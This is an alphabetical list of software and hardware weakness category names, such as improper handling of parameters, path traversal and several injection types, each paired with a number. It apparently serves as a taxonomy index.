 Improper Handling of Extra Parameters, 539
 Improper Handling of Extra Values, 534
 Improper Handling of Faults that Lead to Instruction Skips, 2000
 Improper Handling of File Names that Identify Virtual Resources, 118
 Improper Handling of Hardware Behavior in Exceptionally Cold Environments, 2023
 Improper Handling of Highly Compressed Data (Data Amplification), 915
 Improper Handling of Incomplete Structural Elements, 542
 Improper Handling of Inconsistent Special Elements, 400
 Improper Handling of Inconsistent Structural Elements, 544
 Improper Handling of Insufficient Entropy in TRNG, 759
 Improper Handling of Insufficient Permissions or Privileges, 625
 Improper Handling of Insufficient Privileges, 616
 Improper Handling of Invalid Use of Special Elements, 386
 Improper Handling of Length Parameter Inconsistency, 327
 Improper Handling of Missing Special Element, 397
 Improper Handling of Missing Values, 532
 Improper Handling of Mixed Encoding, 412
 Improper Handling of Overlap Between Protected Memory Ranges, 1866
 Improper Handling of Parameters, 536
 Improper Handling of Single Event Upsets, 1869
 Improper Handling of Structural Elements, 541
 Improper Handling of Syntactically Invalid Structure, 530
 Improper Handling of Undefined Parameters, 540
 Improper Handling of Undefined Values, 534
 Improper Handling of Unexpected Data Type, 545
 Improper Handling of Unicode Encoding, 413
 Improper Handling of URL Encoding (Hex Encoding), 415
 Improper Handling of Values, 531
 Improper Handling of Windows ::DATA Alternate Data Stream, 122
 Improper Handling of Windows Device Names, 120
 Improper Initialization, 1330
 Improper Input Validation, 19
 Improper Interaction Between Multiple Correctly-Behaving Entities, 970
 Improper Isolation of Shared Resources in Network On Chip (NoC), 1998
 Improper Isolation of Shared Resources on System-on-a-Chip (SoC), 1780
 Improper Isolation or Compartmentalization, 1315
 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), 31
 Improper Link Resolution Before File Access ('Link Following'), 105
 Improper Lock Behavior After Power State Transition, 1808
 Improper Locking, 1337
 Improper Management of Sensitive Trace Data, 1984
 Improper Neutralization, 1402
 Improper Neutralization of Alternate XSS Syntax, 181
 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), 183
 Improper Neutralization of Comment Delimiters, 371
 Improper Neutralization of CRLF Sequences ('CRLF Injection'), 205
 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting'), 254
 Improper Neutralization of Data within XPath Expressions ('XPath Injection'), 1298
 Improper Neutralization of Data within XQuery Expressions ('XQuery Injection'), 1313
 Improper Neutralization of Delimiters, 351
 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), 212
 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection'), 216
